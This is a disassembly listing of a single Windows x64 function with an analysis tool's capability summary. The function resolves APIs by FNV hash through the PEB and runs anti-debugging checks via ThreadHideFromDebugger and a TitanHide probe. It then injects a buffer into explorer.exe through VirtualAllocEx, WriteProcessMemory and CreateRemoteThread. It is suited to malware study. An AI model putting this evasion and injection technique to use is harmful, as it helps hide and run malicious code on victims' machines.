Function at 0x140003070
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
mov byte [rbp - 0x80], 0
xor r13d, r13d
mov dword [rbp - 0x74], 0x101
xor eax, eax
mov dword [rbp - 0x7c], r13d
xor r15b, r15b
mov qword [rsp + 0x68], r13
mov rsi, rcx
mov qword [rbp - 0x70], r13
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp + 0x28], rax
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
cmp qword [rcx], rax
je 0x1400030ff
cmp qword [rcx + 8], rax
je 0x1400030ff
cmp qword [rcx + 0x18], rax
jne 0x140003417
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000ccc0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x1400031b7
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
mov ebx, r11d
mov r9d, 0x22b672ba
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140003191
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140003160
cmp r9d, 0xf9baf325
je 0x140003196
inc r11d
jmp 0x140003140
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000ccc0], rax
mov qword [rsi + 0x10], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cbf8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140003277
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0xd903304
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140003251
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140003220
cmp r9d, 0x5bdb7928
je 0x140003256
inc r11d
jmp 0x140003200
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cbf8], rax
mov qword [rsi], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cc40]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140003335
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0x6b29a3d3
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx eax, byte [r8]
inc r8
test al, al
je 0x14000330f
nop
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
test al, al
jne 0x1400032e0
cmp r9d, 0xab9020fb
je 0x140003314
inc r11d
jmp 0x1400032c0
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cc40], rax
mov qword [rsi + 8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000ccc8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x1400033f7
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0xc295d749
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400033d1
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400033a0
cmp r9d, 0xbeeddc59
je 0x1400033d6
inc r11d
jmp 0x140003380
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000ccc8], rax
mov qword [rsi + 0x18], rax
cmp qword [rsi], r13
je 0x140003e19
cmp qword [rsi + 8], r13
je 0x140003e19
test rax, rax
je 0x140003e19
mov qword [rsp + 0x30], r13
lea rcx, str..TitanHide
mov dword [rsp + 0x28], r13d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
mov qword [rsp + 0x178], r12
mov dword [rbp - 0x78], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000349e
mov dword [rsp + 0x70], 2
lea r9, [rbp - 0x78]
mov rcx, qword gs:[0x30]
mov r8d, 0x10
mov qword [rsp + 0x20], r13
mov rdx, qword [rcx + 0x40]
mov rcx, rax
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x74], 0x3ff
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, dword [rax + 0x48]
lea ecx, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r14, rax
test rax, rax
je 0x140003521
mov rcx, qword gs:[0x30]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [rcx + 0x40]
lea edx, [r9 + 0x11]
mov rcx, qword gs:[0x30]
mov rdi, qword [rcx + 0x48]
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x40], r13
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x48], r13
mov rcx, rax
call qword [rsi]
mov rax, qword gs:[0x30]
mov rcx, r14
mov qword [rax + 0x40], rbx
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], rdi
call qword [rsi + 0x18]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x7c]
mov r12d, 1
mov qword [rsp + 0x20], rax
mov r9d, r12d
lea r8, [rbp - 0x80]
lea edx, [r12 + 0x10]
call qword [rsi + 8]
mov rax, qword gs:[0x30]
lea edx, [r12 + 0x10]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rbx, qword [rax + 0x40]
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 0x48]
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], r13
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], r13
mov rax, qword [rsi]
call rax
mov rcx, qword gs:[0x30]
cmp eax, 0xc0000008
movzx r15d, r15b
cmovne r15d, r12d
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov qword [rcx + 0x40], rbx
xor r8d, r8d
mov rcx, qword gs:[0x30]
xor edx, edx
mov qword [rcx + 0x48], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140003672
mov r10, qword [rsi + 8]
lea rax, [rbp - 0x7c]
mov r9d, r12d
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rcx, rbx
lea edx, [r12 + 0x10]
call r10
test eax, eax
js 0x140003609
cmp byte [rbp - 0x80], r13b
jne 0x140003610
cmp dword [rbp - 0x7c], r12d
jne 0x140003610
cmp eax, 0xc0000004
jne 0x140003614
movzx r15d, r12b
mov rax, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x11]
call rax
test eax, eax
js 0x14000366c
mov rax, qword [rsi + 8]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, rbx
mov r9d, r12d
mov edx, 0x11
call rax
mov rcx, r14
mov edi, eax
call qword [rsi + 0x18]
test edi, edi
js 0x140003660
cmp byte [rbp - 0x80], r13b
je 0x140003668
cmp dword [rbp - 0x7c], r12d
jne 0x140003668
cmp edi, 0xc0000004
jne 0x14000366c
movzx r15d, r12b
mov rcx, rbx
call qword [rsi + 0x18]
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, dword [rax + 0x48]
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1400036bb
mov r10, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call r10
mov rcx, rdi
mov ebx, eax
call qword [rsi + 0x18]
cmp ebx, 0xc0000022
movzx r15d, r15b
cmovne r15d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cbc0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140003777
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0xcc9d8c34
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140003751
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140003720
cmp r9d, 0x2ea0b02b
je 0x140003756
inc r11d
jmp 0x140003700
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cbc0], rax
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], r13
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rax
test eax, eax
js 0x1400037ff
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400037ff
mov rax, qword [rsi + 8]
lea rdx, [rbp - 0x7c]
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x80]
mov edx, 0x11
mov r9d, r12d
call rax
mov rcx, qword [rsp + 0x68]
mov ebx, eax
call qword [rsi + 0x18]
test ebx, ebx
js 0x1400037f3
cmp dword [rbp - 0x7c], r12d
jne 0x1400037fb
cmp byte [rbp - 0x80], r13b
jne 0x1400037fb
cmp ebx, 0xc0000004
jne 0x1400037ff
movzx r15d, r12b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cbe8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x1400038b7
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov r14d, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
mov ebx, r11d
mov r9d, 0xcbf75862
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + r14]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140003891
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140003860
cmp r9d, 0xe7d2f969
je 0x140003896
inc r11d
jmp 0x140003840
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cbe8], rax
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], r13
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], 5
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rax
test eax, eax
js 0x140003942
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140003942
mov rax, qword [rsi + 8]
lea rdx, [rbp - 0x7c]
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x80]
mov edx, 0x11
mov r9d, r12d
call rax
mov rcx, qword [rsp + 0x68]
mov ebx, eax
call qword [rsi + 0x18]
test ebx, ebx
js 0x140003936
cmp dword [rbp - 0x7c], r12d
jne 0x14000393e
cmp byte [rbp - 0x80], r13b
je 0x14000393e
cmp ebx, 0xc0000004
jne 0x140003942
movzx r15d, r12b
mov rax, qword [rsi]
mov r9d, r12d
mov r8, r12
mov edx, 0x11
mov rcx, 0xfffffffffffffffe
call rax
cmp eax, 0xc0000005
je 0x14000396d
cmp eax, 0x80000002
movzx r15d, r15b
cmovne r15d, r12d
mov rax, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xffff
lea edx, [r9 + 0x11]
call rax
cmp eax, 0xc0000008
movzx ebx, r15b
mov rax, qword [rsi]
cmovne ebx, r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 1]
call rax
cmp eax, 0xc0000024
mov r9d, r12d
mov rax, qword [rsi]
cmovne ebx, r12d
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [r8 - 2]
call rax
cmp eax, 0xc0000004
movzx ebx, bl
mov rax, qword [rsi + 8]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x7c]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, 0x11
cmovne ebx, r12d
call rax
test eax, eax
js 0x1400039f5
cmp dword [rbp - 0x7c], r12d
jne 0x1400039fc
cmp eax, 0xc0000004
jne 0x140003a00
movzx ebx, r12b
mov rax, qword [rsi]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
test eax, eax
js 0x140003a9f
mov rax, qword [rsi + 8]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, 0x11
call rax
test eax, eax
js 0x140003a4d
cmp dword [rbp - 0x7c], r12d
jne 0x140003a5b
cmp byte [rbp - 0x80], r13b
je 0x140003a5b
cmp eax, 0xc0000004
je 0x140003a5b
cmp eax, 0x80000002
jne 0x140003a5f
movzx ebx, r12b
mov rax, qword [rsi + 8]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x74]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, 0x11
call rax
test eax, eax
js 0x140003a94
cmp dword [rbp - 0x7c], r12d
jne 0x140003a9b
cmp dword [rbp - 0x74], 0x101
jne 0x140003a9b
cmp eax, 0xc0000004
jne 0x140003a9f
movzx ebx, r12b
mov rax, qword [rsi + 8]
lea r8, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
movzx r15d, bl
cmp eax, 0xc0000004
mov edi, r13d
lea rbx, [rbp - 0x68]
cmove r15d, r12d
movabs r14, 0xcccccccccccccccd
nop word [rax + rax]
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r10, rax
mov qword [rbx - 8], rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
mov rax, r14
mul r8
shr rdx, 3
lea rcx, [rdx + rdx*4]
add rcx, rcx
sub r8, rcx
cmp r8, 5
jbe 0x140003b48
test r10, r10
je 0x140003b48
mov rax, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rcx, r10
lea edx, [r9 + 0x11]
call rax
test eax, eax
js 0x140003b48
mov byte [rbx], r12b
inc edi
add rbx, 0x10
cmp edi, 0xa
jb 0x140003ae0
mov r14d, r13d
lea rbx, [rbp - 0x68]
nop word [rax + rax]
mov rdi, qword [rbx - 8]
test rdi, rdi
je 0x140003bb3
mov rax, qword [rsi + 8]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, rdi
mov r9d, r12d
mov edx, 0x11
call rax
test eax, eax
js 0x140003bad
movzx eax, byte [rbp - 0x80]
test al, al
jne 0x140003ba2
cmp byte [rbx], r13b
je 0x140003b9e
movzx r15d, r12b
jmp 0x140003bad
test al, al
je 0x140003bad
cmp byte [rbx], r13b
movzx r15d, r15b
cmove r15d, r12d
mov rcx, rdi
call qword [rsi + 0x18]
inc r14d
add rbx, 0x10
cmp r14d, 0xa
jb 0x140003b60
mov rbx, qword [rsi + 0x10]
test rbx, rbx
je 0x140003e0b
mov r12, qword [rsi + 0x18]
lea r9, [rsp + 0x64]
xor r8d, r8d
mov dword [rbp - 0x78], r13d
lea rdx, [rsp + 0x64]
mov dword [rsp + 0x64], r13d
mov r14d, r13d
mov rsi, r13
lea ecx, [r8 + 5]
call rbx
cmp eax, 0xc0000004
jne 0x140003c4a
nop word [rax + rax]
test rsi, rsi
je 0x140003c16
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x64]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x64]
lea r9, [rsp + 0x64]
mov rdx, rax
mov ecx, 5
mov rsi, rax
call rbx
cmp eax, 0xc0000004
je 0x140003c00
test eax, eax
jns 0x140003c79
test rsi, rsi
je 0x140003e0b
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r12, qword [rsp + 0x178]
movzx eax, r15b
jmp 0x140003e1b
mov rdi, rsi
cmp dword [rsi], r13d
je 0x140003d0b
lea r14, str.explorer.exe
nop dword [rax]
mov r11, qword [rdi + 0x40]
mov r9, r14
test r11, r11
je 0x140003cf8
sub r11, r14
nop
movzx r8d, word [r9]
movzx edx, word [r11 + r9]
lea ebx, [r8 - 0x41]
cmp ebx, 0x19
lea ecx, [r8 + 0x20]
lea r10d, [rdx - 0x41]
cmova ecx, r8d
lea eax, [rdx + 0x20]
cmp r10d, 0x19
cmova eax, edx
cmp eax, ecx
jne 0x140003ce1
test dx, dx
je 0x140003cdb
test r8w, r8w
je 0x140003ce1
add r9, 2
jmp 0x140003ca0
test r8w, r8w
je 0x140003d07
cmp r10d, 0x19
ja 0x140003cea
add edx, 0x20
cmp ebx, 0x19
ja 0x140003cf3
add r8d, 0x20
cmp edx, r8d
je 0x140003d07
mov eax, dword [rdi]
add rdi, rax
cmp dword [rdi], r13d
jne 0x140003c90
jmp 0x140003c57
mov r14d, dword [rdi + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14d, r14d
je 0x140003e0b
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003e0b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x6c2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140003e05
lea rdx, [rbp - 0x78]
mov dword [0x14000cc88], 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp - 0x78], r13d
jne 0x140003df4
mov r9d, 0x3ee
mov qword [rsp + 0x20], r13
lea r8, [0x14000be90]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003df4
mov rax, qword gs:[0x30]
mov r9, rdi
mov qword [rsp + 0x30], r13
xor edx, edx
mov dword [rsp + 0x28], r13d
mov r8d, 0x1000
mov rcx, rbx
mov rax, qword [rax + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140003df4
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call r12
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call r12
mov r12, qword [rsp + 0x178]
movzx eax, r15b
jmp 0x140003e1b
xor al, al
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140007a30
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret